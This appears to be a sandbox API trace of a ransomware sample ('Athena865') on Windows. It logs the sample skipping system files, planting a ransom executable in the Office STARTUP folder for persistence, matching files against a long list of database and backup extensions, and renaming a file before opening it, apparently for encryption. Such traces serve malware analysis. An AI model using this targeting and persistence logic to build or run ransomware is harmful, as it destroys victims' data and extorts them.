(lpString1="STARTUP", lpString2="..") returned 1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="windows") returned -1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="bootmgr") returned 1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="temp") returned -1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="pagefile.sys") returned 1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="boot") returned 1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="ids.txt") returned 1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="ntuser.dat") returned 1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="perflogs") returned 1 [0085.718] lstrcmpiW (lpString1="STARTUP", lpString2="MSBuild") returned 1 [0085.718] lstrlenW (lpString="STARTUP") returned 7 [0085.718] lstrcpyW (in: lpString1=0x241e89e, lpString2="STARTUP" | out: lpString1="STARTUP") returned="STARTUP" [0085.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b7b0 [0085.718] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x53a420 [0085.718] lstrcatW (in: lpString1="STARTUP", lpString2="\\" | out: lpString1="STARTUP\\") returned="STARTUP\\" [0085.718] lstrcatW (in: lpString1="STARTUP\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="STARTUP\\HOW TO BACK YOUR FILES.exe") returned="STARTUP\\HOW TO BACK YOUR FILES.exe" [0085.718] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\startup\\how to back your files.exe"), bFailIfExists=1) returned 1 [0085.722] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2=".") returned 1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="..") returned 1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="windows") returned -1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="bootmgr") returned 1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="temp") returned -1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="pagefile.sys") returned 1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="boot") returned 1 [0085.722] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="ids.txt") returned 1 [0085.723] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="ntuser.dat") returned 1 [0085.723] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="perflogs") returned 1 [0085.723] lstrcmpiW (lpString1="STSLIST.DLL", lpString2="MSBuild") returned 1 [0085.723] lstrlenW (lpString="STSLIST.DLL") returned 11 [0085.723] lstrcpyW (in: lpString1=0x241e89e, lpString2="STSLIST.DLL" | out: lpString1="STSLIST.DLL") returned="STSLIST.DLL" [0085.723] lstrlenW (lpString="STSLIST.DLL") returned 11 [0085.723] lstrlenW (lpString="Athena865") returned 9 [0085.723] lstrcmpiW (lpString1="SLIST.DLL", lpString2="Athena865") returned 1 [0085.723] lstrlenW (lpString=".dll") returned 4 [0085.723] lstrcmpiW (lpString1="STSLIST.DLL", lpString2=".dll") returned 1 [0085.723] lstrlenW (lpString=".lnk") returned 4 [0085.723] lstrcmpiW (lpString1="STSLIST.DLL", lpString2=".lnk") returned 1 [0085.723] lstrlenW (lpString=".ini") returned 4 [0085.723] lstrcmpiW (lpString1="STSLIST.DLL", lpString2=".ini") returned 1 [0085.723] lstrlenW (lpString=".sys") returned 4 [0085.723] lstrcmpiW (lpString1="STSLIST.DLL", lpString2=".sys") returned 1 [0085.723] lstrlenW (lpString="STSLIST.DLL") returned 11 [0085.723] lstrlenW (lpString="bak") returned 3 [0085.723] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0085.723] lstrlenW (lpString="ba_") returned 3 [0085.723] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0085.723] lstrlenW (lpString="dbb") returned 3 [0085.723] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0085.723] lstrlenW (lpString="vmdk") returned 4 [0085.723] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0085.723] lstrlenW (lpString="rar") returned 3 [0085.723] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0085.723] lstrlenW (lpString="zip") returned 3 [0085.723] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0085.723] lstrlenW (lpString="tgz") returned 3 [0085.723] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0085.723] lstrlenW (lpString="vbox") returned 4 [0085.724] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0085.724] lstrlenW (lpString="vdi") returned 3 [0085.724] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0085.724] lstrlenW (lpString="vhd") returned 3 [0085.724] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0085.724] lstrlenW (lpString="vhdx") returned 4 [0085.724] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0085.724] lstrlenW (lpString="avhd") returned 4 [0085.724] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0085.724] lstrlenW (lpString="db") returned 2 [0085.724] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0085.724] lstrlenW (lpString="db2") returned 3 [0085.724] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0085.724] lstrlenW (lpString="db3") returned 3 [0085.724] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0085.724] lstrlenW (lpString="dbf") returned 3 [0085.724] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0085.724] lstrlenW (lpString="mdf") returned 3 [0085.724] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0085.724] lstrlenW (lpString="mdb") returned 3 [0085.724] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0085.724] lstrlenW (lpString="sql") returned 3 [0085.724] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0085.724] lstrlenW (lpString="sqlite") returned 6 [0085.724] lstrcmpiW (lpString1="ST.DLL", lpString2="sqlite") returned 1 [0085.724] lstrlenW (lpString="sqlite3") returned 7 [0085.724] lstrcmpiW (lpString1="IST.DLL", lpString2="sqlite3") returned -1 [0085.724] lstrlenW (lpString="sqlitedb") returned 8 [0085.724] lstrcmpiW (lpString1="LIST.DLL", lpString2="sqlitedb") returned -1 [0085.725] lstrlenW (lpString="xml") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0085.725] lstrlenW (lpString="$er") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0085.725] lstrlenW (lpString="4dd") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0085.725] lstrlenW (lpString="4dl") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0085.725] lstrlenW (lpString="^^^") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0085.725] lstrlenW (lpString="abs") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0085.725] lstrlenW (lpString="abx") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0085.725] lstrlenW (lpString="accdb") returned 5 [0085.725] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0085.725] lstrlenW (lpString="accdc") returned 5 [0085.725] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0085.725] lstrlenW (lpString="accde") returned 5 [0085.725] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0085.725] lstrlenW (lpString="accdr") returned 5 [0085.725] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0085.725] lstrlenW (lpString="accdt") returned 5 [0085.725] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0085.725] lstrlenW (lpString="accdw") returned 5 [0085.725] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0085.725] lstrlenW (lpString="accft") returned 5 [0085.725] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0085.725] lstrlenW (lpString="adb") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.725] lstrlenW (lpString="adb") returned 3 [0085.725] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.725] lstrlenW (lpString="ade") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0085.726] lstrlenW (lpString="adf") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0085.726] lstrlenW (lpString="adn") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0085.726] lstrlenW (lpString="adp") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0085.726] lstrlenW (lpString="alf") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0085.726] lstrlenW (lpString="ask") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0085.726] lstrlenW (lpString="btr") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0085.726] lstrlenW (lpString="cat") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0085.726] lstrlenW (lpString="cdb") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0085.726] lstrlenW (lpString="ckp") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0085.726] lstrlenW (lpString="cma") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0085.726] lstrlenW (lpString="cpd") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0085.726] lstrlenW (lpString="dacpac") returned 6 [0085.726] lstrcmpiW (lpString1="ST.DLL", lpString2="dacpac") returned 1 [0085.726] lstrlenW (lpString="dad") returned 3 [0085.726] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0085.726] lstrlenW (lpString="dadiagrams") returned 10 [0085.726] lstrcmpiW (lpString1="TSLIST.DLL", lpString2="dadiagrams") returned 1 [0085.726] lstrlenW (lpString="daschema") returned 8 [0085.726] lstrcmpiW (lpString1="LIST.DLL", lpString2="daschema") returned 1 [0085.726] lstrlenW (lpString="db-journal") returned 10 [0085.726] lstrcmpiW (lpString1="TSLIST.DLL", lpString2="db-journal") returned 1 [0085.727] lstrlenW (lpString="db-shm") returned 6 [0085.727] lstrcmpiW (lpString1="ST.DLL", lpString2="db-shm") returned 1 [0085.727] lstrlenW (lpString="db-wal") returned 6 [0085.727] lstrcmpiW (lpString1="ST.DLL", lpString2="db-wal") returned 1 [0085.727] lstrlenW (lpString="dbc") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0085.727] lstrlenW (lpString="dbs") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0085.727] lstrlenW (lpString="dbt") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0085.727] lstrlenW (lpString="dbv") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0085.727] lstrlenW (lpString="dbx") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0085.727] lstrlenW (lpString="dcb") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0085.727] lstrlenW (lpString="dct") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0085.727] lstrlenW (lpString="dcx") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0085.727] lstrlenW (lpString="ddl") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0085.727] lstrlenW (lpString="dlis") returned 4 [0085.727] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0085.727] lstrlenW (lpString="dp1") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0085.727] lstrlenW (lpString="dqy") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0085.727] lstrlenW (lpString="dsk") returned 3 [0085.727] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0085.727] lstrlenW (lpString="dsn") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0085.728] lstrlenW (lpString="dtsx") returned 4 [0085.728] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0085.728] lstrlenW (lpString="dxl") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0085.728] lstrlenW (lpString="eco") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0085.728] lstrlenW (lpString="ecx") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0085.728] lstrlenW (lpString="edb") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0085.728] lstrlenW (lpString="epim") returned 4 [0085.728] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0085.728] lstrlenW (lpString="fcd") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0085.728] lstrlenW (lpString="fdb") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0085.728] lstrlenW (lpString="fic") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0085.728] lstrlenW (lpString="flexolibrary") returned 12 [0085.728] lstrlenW (lpString="fm5") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0085.728] lstrlenW (lpString="fmp") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0085.728] lstrlenW (lpString="fmp12") returned 5 [0085.728] lstrcmpiW (lpString1="T.DLL", lpString2="fmp12") returned 1 [0085.728] lstrlenW (lpString="fmpsl") returned 5 [0085.728] lstrcmpiW (lpString1="T.DLL", lpString2="fmpsl") returned 1 [0085.728] lstrlenW (lpString="fol") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0085.728] lstrlenW (lpString="fp3") returned 3 [0085.728] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0085.729] lstrlenW (lpString="fp4") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0085.729] lstrlenW (lpString="fp5") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0085.729] lstrlenW (lpString="fp7") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0085.729] lstrlenW (lpString="fpt") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0085.729] lstrlenW (lpString="frm") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0085.729] lstrlenW (lpString="gdb") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.729] lstrlenW (lpString="gdb") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.729] lstrlenW (lpString="grdb") returned 4 [0085.729] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0085.729] lstrlenW (lpString="gwi") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0085.729] lstrlenW (lpString="hdb") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0085.729] lstrlenW (lpString="his") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0085.729] lstrlenW (lpString="ib") returned 2 [0085.729] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0085.729] lstrlenW (lpString="idb") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0085.729] lstrlenW (lpString="ihx") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0085.729] lstrlenW (lpString="itdb") returned 4 [0085.729] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0085.729] lstrlenW (lpString="itw") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0085.729] lstrlenW (lpString="jet") returned 3 [0085.729] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0085.730] lstrlenW (lpString="jtx") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0085.730] lstrlenW (lpString="kdb") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0085.730] lstrlenW (lpString="kexi") returned 4 [0085.730] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0085.730] lstrlenW (lpString="kexic") returned 5 [0085.730] lstrcmpiW (lpString1="T.DLL", lpString2="kexic") returned 1 [0085.730] lstrlenW (lpString="kexis") returned 5 [0085.730] lstrcmpiW (lpString1="T.DLL", lpString2="kexis") returned 1 [0085.730] lstrlenW (lpString="lgc") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0085.730] lstrlenW (lpString="lwx") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0085.730] lstrlenW (lpString="maf") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0085.730] lstrlenW (lpString="maq") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0085.730] lstrlenW (lpString="mar") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0085.730] lstrlenW (lpString="marshal") returned 7 [0085.730] lstrcmpiW (lpString1="IST.DLL", lpString2="marshal") returned -1 [0085.730] lstrlenW (lpString="mas") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0085.730] lstrlenW (lpString="mav") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0085.730] lstrlenW (lpString="maw") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0085.730] lstrlenW (lpString="mdbhtml") returned 7 [0085.730] lstrcmpiW (lpString1="IST.DLL", lpString2="mdbhtml") returned -1 [0085.730] lstrlenW (lpString="mdn") returned 3 [0085.730] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0085.731] lstrlenW (lpString="mdt") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0085.731] lstrlenW (lpString="mfd") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0085.731] lstrlenW (lpString="mpd") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0085.731] lstrlenW (lpString="mrg") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0085.731] lstrlenW (lpString="mud") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0085.731] lstrlenW (lpString="mwb") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0085.731] lstrlenW (lpString="myd") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0085.731] lstrlenW (lpString="ndf") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0085.731] lstrlenW (lpString="nnt") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0085.731] lstrlenW (lpString="nrmlib") returned 6 [0085.731] lstrcmpiW (lpString1="ST.DLL", lpString2="nrmlib") returned 1 [0085.731] lstrlenW (lpString="ns2") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0085.731] lstrlenW (lpString="ns3") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0085.731] lstrlenW (lpString="ns4") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0085.731] lstrlenW (lpString="nsf") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0085.731] lstrlenW (lpString="nv") returned 2 [0085.731] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0085.731] lstrlenW (lpString="nv2") returned 3 [0085.731] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0085.732] lstrlenW (lpString="nwdb") returned 4 [0085.732] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0085.732] lstrlenW (lpString="nyf") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0085.732] lstrlenW (lpString="odb") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.732] lstrlenW (lpString="odb") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0085.732] lstrlenW (lpString="oqy") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0085.732] lstrlenW (lpString="ora") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0085.732] lstrlenW (lpString="orx") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0085.732] lstrlenW (lpString="owc") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0085.732] lstrlenW (lpString="p96") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0085.732] lstrlenW (lpString="p97") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0085.732] lstrlenW (lpString="pan") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0085.732] lstrlenW (lpString="pdb") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0085.732] lstrlenW (lpString="pdm") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0085.732] lstrlenW (lpString="pnz") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0085.732] lstrlenW (lpString="qry") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0085.732] lstrlenW (lpString="qvd") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0085.732] lstrlenW (lpString="rbf") returned 3 [0085.732] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0085.733] lstrlenW (lpString="rctd") returned 4 [0085.733] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0085.733] lstrlenW (lpString="rod") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0085.733] lstrlenW (lpString="rodx") returned 4 [0085.733] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0085.733] lstrlenW (lpString="rpd") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0085.733] lstrlenW (lpString="rsd") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0085.733] lstrlenW (lpString="sas7bdat") returned 8 [0085.733] lstrcmpiW (lpString1="LIST.DLL", lpString2="sas7bdat") returned -1 [0085.733] lstrlenW (lpString="sbf") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0085.733] lstrlenW (lpString="scx") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0085.733] lstrlenW (lpString="sdb") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0085.733] lstrlenW (lpString="sdc") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0085.733] lstrlenW (lpString="sdf") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0085.733] lstrlenW (lpString="sis") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0085.733] lstrlenW (lpString="spq") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0085.733] lstrlenW (lpString="te") returned 2 [0085.733] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0085.733] lstrlenW (lpString="teacher") returned 7 [0085.733] lstrcmpiW (lpString1="IST.DLL", lpString2="teacher") returned -1 [0085.733] lstrlenW (lpString="tmd") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0085.733] lstrlenW (lpString="tps") returned 3 [0085.733] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0085.734] lstrlenW (lpString="trc") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.734] lstrlenW (lpString="trc") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.734] lstrlenW (lpString="trm") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0085.734] lstrlenW (lpString="udb") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0085.734] lstrlenW (lpString="udl") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0085.734] lstrlenW (lpString="usr") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0085.734] lstrlenW (lpString="v12") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0085.734] lstrlenW (lpString="vis") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0085.734] lstrlenW (lpString="vpd") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0085.734] lstrlenW (lpString="vvv") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0085.734] lstrlenW (lpString="wdb") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0085.734] lstrlenW (lpString="wmdb") returned 4 [0085.734] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0085.734] lstrlenW (lpString="wrk") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0085.734] lstrlenW (lpString="xdb") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0085.734] lstrlenW (lpString="xld") returned 3 [0085.734] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0085.734] lstrlenW (lpString="xmlff") returned 5 [0085.734] lstrcmpiW (lpString1="T.DLL", lpString2="xmlff") returned -1 [0085.734] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL.Athena865") returned 64 [0085.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll.athena865"), dwFlags=0x1) returned 1 [0085.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STSLIST.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\stslist.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0085.736] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3913112) returned 1 [0085.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.736] 